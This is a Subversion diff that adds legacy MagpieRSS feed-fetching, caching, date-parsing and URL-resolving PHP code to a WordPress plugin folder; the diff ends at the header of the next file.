+    * Instantiate an XML parser under PHP5
+    *
+    * PHP5 will do a fine job of detecting input encoding
+    * if passed an empty string as the encoding. 
+    *
+    * All hail libxml2!
+    *
+    */
+    function php5_create_parser($in_enc, $detect) {
+        // by default php5 does a fine job of detecting input encodings
+        if(!$detect && $in_enc) {
+            return xml_parser_create($in_enc);
+        }
+        else {
+            return xml_parser_create('');
+        }
+    }
+    
+    /**
+    * Instaniate an XML parser under PHP4
+    *
+    * Unfortunately PHP4's support for character encodings
+    * and especially XML and character encodings sucks.  As
+    * long as the documents you parse only contain characters
+    * from the ISO-8859-1 character set (a superset of ASCII,
+    * and a subset of UTF-8) you're fine.  However once you
+    * step out of that comfy little world things get mad, bad,
+    * and dangerous to know.
+    *
+    * The following code is based on SJM's work with FoF
+    * @see http://minutillo.com/steve/weblog/2004/6/17/php-xml-and-character-encodings-a-tale-of-sadness-rage-and-data-loss
+    *
+    */
+    function php4_create_parser($source, $in_enc, $detect) {
+        if ( !$detect ) {
+            return array(xml_parser_create($in_enc), $source);
+        }
+        
+        if (!$in_enc) {
+            if (preg_match('/<?xml.*encoding=[\'"](.*?)[\'"].*?>/m', $source, $m)) {
+                $in_enc = strtoupper($m[1]);
+                $this->source_encoding = $in_enc;
+            }
+            else {
+                $in_enc = 'UTF-8';
+            }
+        }
+        
+        if ($this->known_encoding($in_enc)) {
+            return array(xml_parser_create($in_enc), $source);
+        }
+        
+        // the dectected encoding is not one of the simple encodings PHP knows
+        
+        // attempt to use the iconv extension to
+        // cast the XML to a known encoding
+        // @see http://php.net/iconv
+       
+        if (function_exists('iconv'))  {
+            $encoded_source = iconv($in_enc,'UTF-8', $source);
+            if ($encoded_source) {
+                return array(xml_parser_create('UTF-8'), $encoded_source);
+            }
+        }
+        
+        // iconv didn't work, try mb_convert_encoding
+        // @see http://php.net/mbstring
+        if(function_exists('mb_convert_encoding')) {
+            $encoded_source = mb_convert_encoding($source, 'UTF-8', $in_enc );
+            if ($encoded_source) {
+                return array(xml_parser_create('UTF-8'), $encoded_source);
+            }
+        }
+        
+        // else 
+        $this->error("Feed is in an unsupported character encoding. ($in_enc) " .
+                     "You may see strange artifacts, and mangled characters.",
+                     E_USER_NOTICE);
+            
+        return array(xml_parser_create(), $source);
+    }
+    
+    function known_encoding($enc) {
+        $enc = strtoupper($enc);
+        if ( in_array($enc, $this->_KNOWN_ENCODINGS) ) {
+            return $enc;
+        }
+        else {
+            return false;
+        }
+    }
+
+    function error ($errormsg, $lvl=E_USER_WARNING) {
+        // append PHP's error message if track_errors enabled
+        if ( isset($php_errormsg) ) { 
+            $errormsg .= " ($php_errormsg)";
+        }
+        if ( MAGPIE_DEBUG ) {
+            trigger_error( $errormsg, $lvl);        
+        }
+        else {
+            error_log( $errormsg, 0);
+        }
+        
+        $notices = E_USER_NOTICE|E_NOTICE;
+        if ( $lvl&$notices ) {
+            $this->WARNING = $errormsg;
+        } else {
+            $this->ERROR = $errormsg;
+        }
+    }
+
+    // magic ID function for multiple elemenets.
+    // can be called as static MagpieRSS::element_id()
+    function element_id ($el, $counter) {
+        return $el . (($counter > 1) ? '#'.$counter : '');
+    }
+
+    	function map_attrs($k, $v) {
+	    return $k.'="'.htmlspecialchars($v, ENT_COMPAT, $this->encoding).'"';
+	}
+	
+	function accepts_namespaced_xml ($attrs) {
+		$mode = (isset($attrs['mode']) ? trim(strtolower($attrs['mode'])) : 'xml');
+		$type = (isset($attrs['type']) ? trim(strtolower($attrs['type'])) : null);
+		if ($this->feed_type == ATOM and $this->feed_version < 1.0) {
+			if ($mode=='xml' and preg_match(':[/+](html|xml)$:i', $type)) {
+				$ret = true;
+			} else {
+				$ret = false;
+			}
+		} elseif ($this->feed_type == ATOM and $this->feed_version >= 1.0) {
+			if ($type=='xhtml' or preg_match(':[/+]xml$:i', $type)) {
+				$ret = true;
+			} else {
+				$ret = false;
+			}
+		} else {
+			$ret = false; // Don't munge unless you're sure
+		}
+		return $ret;
+	}
+} // end class RSS
+
+
+// patch to support medieval versions of PHP4.1.x, 
+// courtesy, Ryan Currie, ryan@digibliss.com
+
+if (!function_exists('array_change_key_case')) {
+    define("CASE_UPPER",1);
+    define("CASE_LOWER",0);
+
+
+    function array_change_key_case($array,$case=CASE_LOWER) {
+       if ($case==CASE_LOWER) $cmd='strtolower';
+       elseif ($case==CASE_UPPER) $cmd='strtoupper';
+       foreach($array as $key=>$value) {
+               $output[$cmd($key)]=$value;
+       }
+       return $output;
+    }
+
+}
+
+################################################################################
+## WordPress: Load in Snoopy from wp-includes ##################################
+################################################################################
+
+if (!function_exists('wp_remote_request')) :
+	require_once( dirname(__FILE__) . '/class-snoopy.php');
+endif;
+
+################################################################################
+## rss_fetch.inc: from MagpieRSS 0.8a ##########################################
+################################################################################
+
+/*=======================================================================*\
+    Function: fetch_rss: 
+    Purpose:  return RSS object for the give url
+              maintain the cache
+    Input:    url of RSS file
+    Output:   parsed RSS object (see rss_parse.inc)
+
+    NOTES ON CACHEING:  
+    If caching is on (MAGPIE_CACHE_ON) fetch_rss will first check the cache.
+    
+    NOTES ON RETRIEVING REMOTE FILES:
+    If conditional gets are on (MAGPIE_CONDITIONAL_GET_ON) fetch_rss will
+    return a cached object, and touch the cache object upon recieving a
+    304.
+    
+    NOTES ON FAILED REQUESTS:
+    If there is an HTTP error while fetching an RSS object, the cached
+    version will be return, if it exists (and if MAGPIE_CACHE_FRESH_ONLY is off)
+\*=======================================================================*/
+
+define('MAGPIE_VERSION', '2009.0618');
+
+$MAGPIE_ERROR = "";
+
+function fetch_rss ($url) {
+    // initialize constants
+    init();
+    
+    if ( !isset($url) ) {
+        error("fetch_rss called without a url");
+        return false;
+    }
+    
+    // if cache is disabled
+    if ( !MAGPIE_CACHE_ON ) {
+        // fetch file, and parse it
+        $resp = _fetch_remote_file( $url );
+        if ( is_success( $resp->status ) ) {
+            return _response_to_rss( $resp, $url );
+        }
+        else {
+            error("Failed to fetch $url and cache is off");
+            return false;
+        }
+    } 
+    // else cache is ON
+    else {
+        // Flow
+        // 1. check cache
+        // 2. if there is a hit, make sure its fresh
+        // 3. if cached obj fails freshness check, fetch remote
+        // 4. if remote fails, return stale object, or error
+        
+        $cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE );
+        
+        if (MAGPIE_DEBUG and $cache->ERROR) {
+            debug($cache->ERROR, E_USER_WARNING);
+        }
+        
+        
+        $cache_status    = 0;       // response of check_cache
+        $request_headers = array(); // HTTP headers to send with fetch
+        $rss             = 0;       // parsed RSS object
+        $errormsg        = 0;       // errors, if any
+        
+        // store parsed XML by desired output encoding
+        // as character munging happens at parse time
+        $cache_key       = $url . MAGPIE_OUTPUT_ENCODING;
+        
+        if (!$cache->ERROR) {
+            // return cache HIT, MISS, or STALE
+            $cache_status = $cache->check_cache( $cache_key);
+        }
+        
+        // if object cached, and cache is fresh, return cached obj
+        if ( $cache_status == 'HIT' ) {
+            $rss = $cache->get( $cache_key );
+            if ( isset($rss) and $rss ) {
+                // should be cache age
+                $rss->from_cache = 1;
+                if ( MAGPIE_DEBUG > 1) {
+                debug("MagpieRSS: Cache HIT", E_USER_NOTICE);
+            }
+                return $rss;
+            }
+        }
+        
+        // else attempt a conditional get
+        
+        // setup headers
+        if ( $cache_status == 'STALE' ) {
+            $rss = $cache->get( $cache_key );
+            if ( $rss and isset($rss->etag) and $rss->last_modified ) {
+                $request_headers['If-None-Match'] = $rss->etag;
+                $request_headers['If-Last-Modified'] = $rss->last_modified;
+            }
+        }
+        
+        $resp = _fetch_remote_file( $url, $request_headers );
+        
+        if (isset($resp) and $resp) {
+            if ($resp->status == '304' ) {
+                // we have the most current copy
+                if ( MAGPIE_DEBUG > 1) {
+                    debug("Got 304 for $url");
+                }
+                // reset cache on 304 (at minutillo insistent prodding)
+                $cache->set($cache_key, $rss);
+                return $rss;
+            }
+            elseif ( is_success( $resp->status ) ) {
+                $rss = _response_to_rss( $resp, $url );
+                if ( $rss ) {
+                    if (MAGPIE_DEBUG > 1) {
+                        debug("Fetch successful");
+                    }
+                    // add object to cache
+                    $cache->set( $cache_key, $rss );
+                    return $rss;
+                }
+            }
+            else {
+                $errormsg = "Failed to fetch $url ";
+                if ( $resp->status == '-100' ) {
+                    $errormsg .= "(Request timed out after " . MAGPIE_FETCH_TIME_OUT . " seconds)";
+                }
+                elseif ( $resp->error ) {
+                    # compensate for Snoopy's annoying habbit to tacking
+                    # on '\n'
+                    $http_error = substr($resp->error, 0, -2); 
+                    $errormsg .= "(HTTP Error: $http_error)";
+                }
+                else {
+                    $errormsg .=  "(HTTP Response: " . $resp->response_code .')';
+                }
+            }
+        }
+        else {
+            $errormsg = "Unable to retrieve RSS file for unknown reasons.";
+        }
+        
+        // else fetch failed
+        debug("MagpieRSS fetch failed [$errormsg]");
+
+        // attempt to return cached object
+        if ($rss) {
+            if ( MAGPIE_DEBUG ) {
+                debug("Returning STALE object for $url");
+            }
+            return $rss;
+        }
+        
+        // else we totally failed
+        error( $errormsg ); 
+        
+        return false;
+        
+    } // end if ( !MAGPIE_CACHE_ON ) {
+} // end fetch_rss()
+
+/*=======================================================================*\
+    Function:   error
+    Purpose:    set MAGPIE_ERROR, and trigger error
+\*=======================================================================*/
+
+function error ($errormsg, $lvl=E_USER_WARNING) {
+        global $MAGPIE_ERROR;
+        
+        // append PHP's error message if track_errors enabled
+        if ( isset($php_errormsg) ) { 
+            $errormsg .= " ($php_errormsg)";
+        }
+        if ( $errormsg ) {
+            $errormsg = "MagpieRSS: $errormsg";
+            $MAGPIE_ERROR = $errormsg;
+	    if ( MAGPIE_DEBUG ) {
+		    trigger_error( $errormsg, $lvl);
+	    } else {
+		    error_log($errormsg, 0);
+	    }
+        }
+}
+
+function debug ($debugmsg, $lvl=E_USER_NOTICE) {
+    trigger_error("MagpieRSS [debug] $debugmsg", $lvl);
+}
+            
+/*=======================================================================*\
+    Function:   magpie_error
+    Purpose:    accessor for the magpie error variable
+\*=======================================================================*/
+function magpie_error ($errormsg="") {
+    global $MAGPIE_ERROR;
+    
+    if ( isset($errormsg) and $errormsg ) { 
+        $MAGPIE_ERROR = $errormsg;
+    }
+    
+    return $MAGPIE_ERROR;   
+}
+
+/*=======================================================================*\
+    Function:   _fetch_remote_file
+    Purpose:    retrieve an arbitrary remote file
+    Input:      url of the remote file
+                headers to send along with the request (optional)
+    Output:     an HTTP response object (see Snoopy.class.inc)  
+\*=======================================================================*/
+function _fetch_remote_file ($url, $headers = "" ) {
+	// Ensure that we have constants set up, since they are used below.
+	init();
+
+	// WordPress 2.7 has deprecated Snoopy. It's still there, for now, but
+	// I'd rather not rely on it.
+	if (function_exists('wp_remote_request')) :
+		$resp = wp_remote_request($url, array(
+			'headers' => $headers,
+			'timeout' => MAGPIE_FETCH_TIME_OUT)
+		);
+
+		if ( is_wp_error($resp) ) :
+			$error = $resp->get_error_messages();
+
+			$client = new stdClass;
+			$client->status = 500;
+			$client->response_code = 500;
+			$client->error = implode(" / ", $error). "\n"; //\n = Snoopy compatibility
+		else :
+			$client = new stdClass;
+			$client->status = $resp['response']['code'];
+			$client->response_code = $resp['response']['code'];
+			$client->headers = $resp['headers'];
+			$client->results = $resp['body'];
+		endif;
+	else :
+		// Snoopy is an HTTP client in PHP
+		$client = new Snoopy();
+		$client->agent = MAGPIE_USER_AGENT;
+		$client->read_timeout = MAGPIE_FETCH_TIME_OUT;
+		$client->use_gzip = MAGPIE_USE_GZIP;
+		if (is_array($headers) ) {
+			$client->rawheaders = $headers;
+		}
+		@$client->fetch($url);
+	endif;
+	return $client;
+}
+
+/*=======================================================================*\
+    Function:   _response_to_rss
+    Purpose:    parse an HTTP response object into an RSS object
+    Input:      an HTTP response object (see Snoopy)
+    Output:     parsed RSS object (see rss_parse)
+\*=======================================================================*/
+function _response_to_rss ($resp, $url = null) {
+    $rss = new MagpieRSS( $resp->results, MAGPIE_OUTPUT_ENCODING, MAGPIE_INPUT_ENCODING, MAGPIE_DETECT_ENCODING, $url );
+    
+    // if RSS parsed successfully       
+    if ( $rss and !$rss->ERROR) {
+	    $rss->http_status = $resp->status;
+
+        // find Etag, and Last-Modified
+        foreach($resp->headers as $h) {
+            // 2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1"
+            if (strpos($h, ": ")) {
+                list($field, $val) = explode(": ", $h, 2);
+            }
+            else {
+                $field = $h;
+                $val = "";
+            }
+            
+	    $rss->header[$field] = $val;
+
+            if ( $field == 'ETag' ) {
+                $rss->etag = $val;
+            }
+            
+            if ( $field == 'Last-Modified' ) {
+                $rss->last_modified = $val;
+            }
+        }
+        
+        return $rss;    
+    } // else construct error message
+    else {
+        $errormsg = "Failed to parse RSS file.";
+        
+        if ($rss) {
+            $errormsg .= " (" . $rss->ERROR . ")";
+        }
+        error($errormsg);
+        
+        return false;
+    } // end if ($rss and !$rss->error)
+}
+
+/*=======================================================================*\
+    Function:   init
+    Purpose:    setup constants with default values
+                check for user overrides
+\*=======================================================================*/
+function init () {
+    if ( defined('MAGPIE_INITALIZED') ) {
+        return;
+    }
+    else {
+        define('MAGPIE_INITALIZED', true);
+    }
+    
+    if ( !defined('MAGPIE_CACHE_ON') ) {
+        define('MAGPIE_CACHE_ON', true);
+    }
+
+    if ( !defined('MAGPIE_CACHE_DIR') ) {
+        define('MAGPIE_CACHE_DIR', './cache');
+    }
+
+    if ( !defined('MAGPIE_CACHE_AGE') ) {
+        define('MAGPIE_CACHE_AGE', 60*60); // one hour
+    }
+
+    if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) {
+        define('MAGPIE_CACHE_FRESH_ONLY', false);
+    }
+
+    if ( !defined('MAGPIE_OUTPUT_ENCODING') ) {
+        define('MAGPIE_OUTPUT_ENCODING', 'ISO-8859-1');
+    }
+    
+    if ( !defined('MAGPIE_INPUT_ENCODING') ) {
+        define('MAGPIE_INPUT_ENCODING', null);
+    }
+    
+    if ( !defined('MAGPIE_DETECT_ENCODING') ) {
+        define('MAGPIE_DETECT_ENCODING', true);
+    }
+    
+    if ( !defined('MAGPIE_DEBUG') ) {
+        define('MAGPIE_DEBUG', 0);
+    }
+    
+    if ( !defined('MAGPIE_USER_AGENT') ) {
+        $ua = 'MagpieRSS/'. MAGPIE_VERSION . ' (+http://magpierss.sf.net';
+        
+        if ( MAGPIE_CACHE_ON ) {
+            $ua = $ua . ')';
+        }
+        else {
+            $ua = $ua . '; No cache)';
+        }
+        
+        define('MAGPIE_USER_AGENT', $ua);
+    }
+    
+    if ( !defined('MAGPIE_FETCH_TIME_OUT') ) {
+        define('MAGPIE_FETCH_TIME_OUT', 5); // 5 second timeout
+    }
+    
+    // use gzip encoding to fetch rss files if supported?
+    if ( !defined('MAGPIE_USE_GZIP') ) {
+        define('MAGPIE_USE_GZIP', true);    
+    }
+}
+
+// NOTE: the following code should really be in Snoopy, or at least
+// somewhere other then rss_fetch!
+
+/*=======================================================================*\
+    HTTP STATUS CODE PREDICATES
+    These functions attempt to classify an HTTP status code
+    based on RFC 2616 and RFC 2518.
+    
+    All of them take an HTTP status code as input, and return true or false
+
+    All this code is adapted from LWP's HTTP::Status.
+\*=======================================================================*/
+
+
+/*=======================================================================*\
+    Function:   is_info
+    Purpose:    return true if Informational status code
+\*=======================================================================*/
+function is_info ($sc) { 
+    return $sc >= 100 && $sc < 200; 
+}
+
+/*=======================================================================*\
+    Function:   is_success
+    Purpose:    return true if Successful status code
+\*=======================================================================*/
+function is_success ($sc) { 
+    return $sc >= 200 && $sc < 300; 
+}
+
+/*=======================================================================*\
+    Function:   is_redirect
+    Purpose:    return true if Redirection status code
+\*=======================================================================*/
+function is_redirect ($sc) { 
+    return $sc >= 300 && $sc < 400; 
+}
+
+/*=======================================================================*\
+    Function:   is_error
+    Purpose:    return true if Error status code
+\*=======================================================================*/
+function is_error ($sc) { 
+    return $sc >= 400 && $sc < 600; 
+}
+
+/*=======================================================================*\
+    Function:   is_client_error
+    Purpose:    return true if Error status code, and its a client error
+\*=======================================================================*/
+function is_client_error ($sc) { 
+    return $sc >= 400 && $sc < 500; 
+}
+
+/*=======================================================================*\
+    Function:   is_client_error
+    Purpose:    return true if Error status code, and its a server error
+\*=======================================================================*/
+function is_server_error ($sc) { 
+    return $sc >= 500 && $sc < 600; 
+}
+
+################################################################################
+## rss_cache.inc: from WordPress 1.5 ###########################################
+################################################################################
+
+class RSSCache {
+	var $BASE_CACHE = 'wp-content/cache';	// where the cache files are stored
+	var $MAX_AGE	= 43200;  		// when are files stale, default twelve hours
+	var $ERROR 		= '';			// accumulate error messages
+	
+	function RSSCache ($base='', $age='') {
+		if ( $base ) {
+			$this->BASE_CACHE = $base;
+		}
+		if ( $age ) {
+			$this->MAX_AGE = $age;
+		}
+	
+	}
+	
+/*=======================================================================*\
+	Function:	set
+	Purpose:	add an item to the cache, keyed on url
+	Input:		url from wich the rss file was fetched
+	Output:		true on sucess	
+\*=======================================================================*/
+	function set ($url, $rss) {
+		global $wpdb;
+		$cache_option = 'rss_' . $this->file_name( $url );
+		$cache_timestamp = 'rss_' . $this->file_name( $url ) . '_ts';
+		
+		if ( !$wpdb->get_var("SELECT option_name FROM $wpdb->options WHERE option_name = '$cache_option'") )
+			add_option($cache_option, '', '', 'no');
+		if ( !$wpdb->get_var("SELECT option_name FROM $wpdb->options WHERE option_name = '$cache_timestamp'") )
+			add_option($cache_timestamp, '', '', 'no');
+		
+		update_option($cache_option, $rss);
+		update_option($cache_timestamp, time() );
+		
+		return $cache_option;
+	}
+	
+/*=======================================================================*\
+	Function:	get
+	Purpose:	fetch an item from the cache
+	Input:		url from wich the rss file was fetched
+	Output:		cached object on HIT, false on MISS	
+\*=======================================================================*/	
+	function get ($url) {
+		$this->ERROR = "";
+		$cache_option = 'rss_' . $this->file_name( $url );
+		
+		if ( ! get_option( $cache_option ) ) {
+			$this->debug( 
+				"Cache doesn't contain: $url (cache option: $cache_option)"
+			);
+			return 0;
+		}
+		
+		$rss = get_option( $cache_option );
+		
+		// failsafe; seems to break at odd points in WP MU
+		if (is_string($rss)) {
+			$rss = $this->unserialize($rss);	
+		}
+		
+		return $rss;
+	}
+
+/*=======================================================================*\
+	Function:	check_cache
+	Purpose:	check a url for membership in the cache
+				and whether the object is older then MAX_AGE (ie. STALE)
+	Input:		url from wich the rss file was fetched
+	Output:		cached object on HIT, false on MISS	
+\*=======================================================================*/		
+	function check_cache ( $url ) {
+		$this->ERROR = "";
+		$cache_option = $this->file_name( $url );
+		$cache_timestamp = 'rss_' . $this->file_name( $url ) . '_ts';
+
+		if ( $mtime = get_option($cache_timestamp) ) {
+			// find how long ago the file was added to the cache
+			// and whether that is longer then MAX_AGE
+			$age = time() - $mtime;
+			if ( $this->MAX_AGE > $age ) {
+				// object exists and is current
+				return 'HIT';
+			}
+			else {
+				// object exists but is old
+				return 'STALE';
+			}
+		}
+		else {
+			// object does not exist
+			return 'MISS';
+		}
+	}
+
+/*=======================================================================*\
+	Function:	serialize
+\*=======================================================================*/		
+	function serialize ( $rss ) {
+		return serialize( $rss );
+	}
+
+/*=======================================================================*\
+	Function:	unserialize
+\*=======================================================================*/		
+	function unserialize ( $data ) {
+		return unserialize( $data );
+	}
+	
+/*=======================================================================*\
+	Function:	file_name
+	Purpose:	map url to location in cache
+	Input:		url from wich the rss file was fetched
+	Output:		a file name
+\*=======================================================================*/		
+	function file_name ($url) {
+		return md5( $url );
+	}
+	
+/*=======================================================================*\
+	Function:	error
+	Purpose:	register error
+\*=======================================================================*/			
+	function error ($errormsg, $lvl=E_USER_WARNING) {
+		// append PHP's error message if track_errors enabled
+		if ( isset($php_errormsg) ) { 
+			$errormsg .= " ($php_errormsg)";
+		}
+		$this->ERROR = $errormsg;
+		if ( MAGPIE_DEBUG ) {
+			trigger_error( $errormsg, $lvl);
+		}
+		else {
+			error_log( $errormsg, 0);
+		}
+	}
+			function debug ($debugmsg, $lvl=E_USER_NOTICE) {
+		if ( MAGPIE_DEBUG ) {
+			$this->error("MagpieRSS [debug] $debugmsg", $lvl);
+		}
+	}
+}
+
+################################################################################
+## rss_utils.inc: from MagpieRSS 0.8a ##########################################
+################################################################################
+
+/*======================================================================*\
+    Function: parse_w3cdtf
+    Purpose:  parse a W3CDTF date into unix epoch
+
+    NOTE: http://www.w3.org/TR/NOTE-datetime
+\*======================================================================*/
+
+function parse_w3cdtf ( $date_str ) {
+    
+    # regex to match wc3dtf
+    $pat = "/^\s*(\d{4})(-(\d{2})(-(\d{2})(T(\d{2}):(\d{2})(:(\d{2})(\.\d+)?)?(?:([-+])(\d{2}):?(\d{2})|(Z))?)?)?)?\s*\$/";
+    
+    if ( preg_match( $pat, $date_str, $match ) ) {
+        list( $year, $month, $day, $hours, $minutes, $seconds) = 
+            array( $match[1], $match[3], $match[5], $match[7], $match[8], $match[10]);
+
+        # W3C dates can omit the time, the day of the month, or even the month.
+	# Fill in any blanks using information from the present moment. --CWJ
+	$default['hr'] = (int) gmdate('H');
+	$default['day'] = (int) gmdate('d');
+	$default['month'] = (int) gmdate('m');
+
+	if (is_null($hours)) : $hours = $default['hr']; $minutes = 0; $seconds = 0; endif;
+	if (is_null($day)) : $day = $default['day']; endif;
+	if (is_null($month)) : $month = $default['month']; endif;
+
+        # calc epoch for current date assuming GMT
+        $epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year);
+        
+        $offset = 0;
+        if ( $match[15] == 'Z' ) {
+            # zulu time, aka GMT
+        }
+        else {
+            list( $tz_mod, $tz_hour, $tz_min ) =
+                array( $match[12], $match[13], $match[14]);
+            
+            # zero out the variables
+            if ( ! $tz_hour ) { $tz_hour = 0; }
+            if ( ! $tz_min ) { $tz_min = 0; }
+        
+            $offset_secs = (($tz_hour*60)+$tz_min)*60;
+            
+            # is timezone ahead of GMT?  then subtract offset
+            #
+            if ( $tz_mod == '+' ) {
+                $offset_secs = $offset_secs * -1;
+            }
+            
+            $offset = $offset_secs; 
+        }
+        $epoch = $epoch + $offset;
+        return $epoch;
+    }
+    else {
+        return -1;
+    }
+}
+
+# Relative URI static class: PHP class for resolving relative URLs
+#
+# This class is derived (under the terms of the GPL) from URL Class 0.3 by
+# Keyvan Minoukadeh <keyvan@k1m.com>, which is great but more than we need
+# for MagpieRSS's purposes. The class has been stripped down to a single
+# public method: Relative_URI::resolve($url, $base), which resolves the URI in
+# $url relative to the URI in $base
+#
+# FeedWordPress also uses this class. So if we have it loaded in, don't load it
+# again.
+#
+# -- Charles Johnson <technophilia@radgeek.com>
+if (!class_exists('Relative_URI')) {
+	class Relative_URI
+	{
+		// Resolve relative URI in $url against the base URI in $base. If $base
+		// is not supplied, then we use the REQUEST_URI of this script.
+		//
+		// I'm hoping this method reflects RFC 2396 Section 5.2
+		function resolve ($url, $base = NULL)
+		{
+			if (is_null($base)):
+				$base = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
+			endif;
+	
+			$base = Relative_URI::_encode(trim($base));
+			$uri_parts = Relative_URI::_parse_url($base);
+	
+			$url = Relative_URI::_encode(trim($url));
+			$parts = Relative_URI::_parse_url($url);
+	
+			$uri_parts['fragment'] = (isset($parts['fragment']) ? $parts['fragment'] : null);
+			$uri_parts['query'] = (isset($parts['query']) ? $parts['query'] : null);
+	
+			// if path is empty, and scheme, host, and query are undefined,
+			// the URL is referring the base URL
+			
+			if (($parts['path'] == '') && !isset($parts['scheme']) && !isset($parts['host']) && !isset($parts['query'])) {
+				// If the URI is empty or only a fragment, return the base URI
+				return $base . (isset($parts['fragment']) ? '#'.$parts['fragment'] : '');
+			} elseif (isset($parts['scheme'])) {
+				// If the scheme is set, then the URI is absolute.
+				return $url;
+			} elseif (isset($parts['host'])) {
+				$uri_parts['host'] = $parts['host'];
+				$uri_parts['path'] = $parts['path'];
+			} else {
+				// We have a relative path but not a host.
+	
+				// start ugly fix:
+				// prepend slash to path if base host is set, base path is not set, and url path is not absolute
+				if ($uri_parts['host'] && ($uri_parts['path'] == '')
+				&& (strlen($parts['path']) > 0)
+				&& (substr($parts['path'], 0, 1) != '/')) {
+					$parts['path'] = '/'.$parts['path'];
+				} // end ugly fix
+				
+				if (substr($parts['path'], 0, 1) == '/') {
+					$uri_parts['path'] = $parts['path'];
+				} else {
+					// copy base path excluding any characters after the last (right-most) slash character
+					$buffer = substr($uri_parts['path'], 0, (int)strrpos($uri_parts['path'], '/')+1);
+					// append relative path
+					$buffer .= $parts['path'];
+					// remove "./" where "." is a complete path segment.
+					$buffer = str_replace('/./', '/', $buffer);
+					if (substr($buffer, 0, 2) == './') {
+					    $buffer = substr($buffer, 2);
+					}
+					// if buffer ends with "." as a complete path segment, remove it
+					if (substr($buffer, -2) == '/.') {
+					    $buffer = substr($buffer, 0, -1);
+					}
+					// remove "<segment>/../" where <segment> is a complete path segment not equal to ".."
+					$search_finished = false;
+					$segment = explode('/', $buffer);
+					while (!$search_finished) {
+					    for ($x=0; $x+1 < count($segment);) {
+						if (($segment[$x] != '') && ($segment[$x] != '..') && ($segment[$x+1] == '..')) {
+						    if ($x+2 == count($segment)) $segment[] = '';
+						    unset($segment[$x], $segment[$x+1]);
+						    $segment = array_values($segment);
+						    continue 2;
+						} else {
+						    $x++;
+						}
+					    }
+					    $search_finished = true;
+					}
+					$buffer = (count($segment) == 1) ? '/' : implode('/', $segment);
+					$uri_parts['path'] = $buffer;
+	
+				}
+			}
+	
+			// If we've gotten to this point, we can try to put the pieces
+			// back together.
+			$ret = '';
+			if (isset($uri_parts['scheme'])) $ret .= $uri_parts['scheme'].':';
+			if (isset($uri_parts['user'])) {
+				$ret .= $uri_parts['user'];
+				if (isset($uri_parts['pass'])) $ret .= ':'.$uri_parts['parts'];
+				$ret .= '@';
+			}
+			if (isset($uri_parts['host'])) {
+				$ret .= '//'.$uri_parts['host'];
+				if (isset($uri_parts['port'])) $ret .= ':'.$uri_parts['port'];
+			}
+			$ret .= $uri_parts['path'];
+			if (isset($uri_parts['query'])) $ret .= '?'.$uri_parts['query'];
+			if (isset($uri_parts['fragment'])) $ret .= '#'.$uri_parts['fragment'];
+	
+			return $ret;
+	    }
+	
+	    /**
+	    * Parse URL
+	    *
+	    * Regular expression grabbed from RFC 2396 Appendix B. 
+	    * This is a replacement for PHPs builtin parse_url().
+	    * @param string $url
+	    * @access private
+	    * @return array
+	    */
+	    function _parse_url($url)
+	    {
+		// I'm using this pattern instead of parse_url() as there's a few strings where parse_url() 
+		// generates a warning.
+		if (preg_match('!^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?!', $url, $match)) {
+		    $parts = array();
+		    if ($match[1] != '') $parts['scheme'] = $match[2];
+		    if ($match[3] != '') $parts['auth'] = $match[4];
+		    // parse auth
+		    if (isset($parts['auth'])) {
+			// store user info
+			if (($at_pos = strpos($parts['auth'], '@')) !== false) {
+			    $userinfo = explode(':', substr($parts['auth'], 0, $at_pos), 2);
+			    $parts['user'] = $userinfo[0];
+			    if (isset($userinfo[1])) $parts['pass'] = $userinfo[1];
+			    $parts['auth'] = substr($parts['auth'], $at_pos+1);
+			}
+			// get port number
+			if ($port_pos = strrpos($parts['auth'], ':')) {
+			    $parts['host'] = substr($parts['auth'], 0, $port_pos);
+			    $parts['port'] = (int)substr($parts['auth'], $port_pos+1);
+			    if ($parts['port'] < 1) $parts['port'] = null;
+			} else {
+			    $parts['host'] = $parts['auth'];
+			}
+		    }
+		    unset($parts['auth']);
+		    $parts['path'] = $match[5];
+		    if (isset($match[6]) && ($match[6] != '')) $parts['query'] = $match[7];
+		    if (isset($match[8]) && ($match[8] != '')) $parts['fragment'] = $match[9];
+		    return $parts;
+		}
+		// shouldn't reach here
+		return array('path'=>'');
+	    }
+	
+	    function _encode($string)
+	    {
+		static $replace = array();
+		if (!count($replace)) {
+		    $find = array(32, 34, 60, 62, 123, 124, 125, 91, 92, 93, 94, 96, 127);
+		    $find = array_merge(range(0, 31), $find);
+		    $find = array_map('chr', $find);
+		    foreach ($find as $char) {
+			$replace[$char] = '%'.bin2hex($char);
+		    }
+		}
+		// escape control characters and a few other characters
+		$encoded = strtr($string, $replace);
+		// remove any character outside the hex range: 21 - 7E (see www.asciitable.com)
+		return preg_replace('/[^\x21-\x7e]/', '', $encoded);
+	    }
+	} // class Relative_URI
+}
+
+################################################################################
+## WordPress: wp_rss(), get_rss() ##############################################
+################################################################################
+
+function wp_rss ($url, $num) {
+	//ini_set("display_errors", false); uncomment to suppress php errors thrown if the feed is not returned.
+	$num_items = $num;
+	$rss = fetch_rss($url);
+		if ( $rss ) {
+			echo "<ul>";
+			$rss->items = array_slice($rss->items, 0, $num_items);
+				foreach ($rss->items as $item ) {
+					echo "<li>\n";
+					echo "<a href='$item[link]' title='$item[description]'>";
+					echo htmlentities($item['title']);
+					echo "</a><br />\n";
+					echo "</li>\n";
+				}		
+			echo "</ul>";
+	}
+		else {
+			echo "an error has occured the feed is probably down, try again later.";
+	}
+}
+
+function get_rss ($uri, $num = 5) { // Like get posts, but for RSS
+	$rss = fetch_rss($url);
+	if ( $rss ) {
+		$rss->items = array_slice($rss->items, 0, $num_items);
+		foreach ($rss->items as $item ) {
+			echo "<li>\n";
+			echo "<a href='$item[link]' title='$item[description]'>";
+			echo htmlentities($item['title']);
+			echo "</a><br />\n";
+			echo "</li>\n";
+		}
+		return $posts;
+	} else {
+		return false;
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/admin-ui.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/admin-ui.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/admin-ui.php	(revision 44)
@@ -0,0 +1,308 @@
+<?php
